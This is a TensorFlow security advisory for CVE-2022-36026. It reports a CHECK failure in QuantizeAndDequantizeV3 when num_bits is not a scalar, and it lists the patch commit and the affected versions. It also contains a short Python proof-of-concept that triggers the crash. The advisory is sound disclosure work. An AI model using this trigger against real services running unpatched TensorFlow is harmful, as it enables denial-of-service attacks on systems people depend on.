TFSA-2022-112: CHECK fail in QuantizeAndDequantizeV3

CVE Number

CVE-2022-36026

Impact

If QuantizeAndDequantizeV3 is given a nonscalar num_bits input tensor, it results in a CHECK fail that can be used to trigger a denial of service attack.

import tensorflow as tf

signed_input = True
range_given = False
narrow_range = False
axis = -1
input = tf.constant(-3.5, shape=[1], dtype=tf.float32)
input_min = tf.constant(-3.5, shape=[1], dtype=tf.float32)
input_max = tf.constant(-3.5, shape=[1], dtype=tf.float32)
num_bits = tf.constant([], shape=[0], dtype=tf.int32)
tf.raw_ops.QuantizeAndDequantizeV3(input=input, input_min=input_min, input_max=input_max, num_bits=num_bits, signed_input=signed_input, range_given=range_given, narrow_range=narrow_range, axis=axis)

Patches

We have patched the issue in GitHub commit f3f9cb38ecfe5a8a703f2c4a8fead434ef291713.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
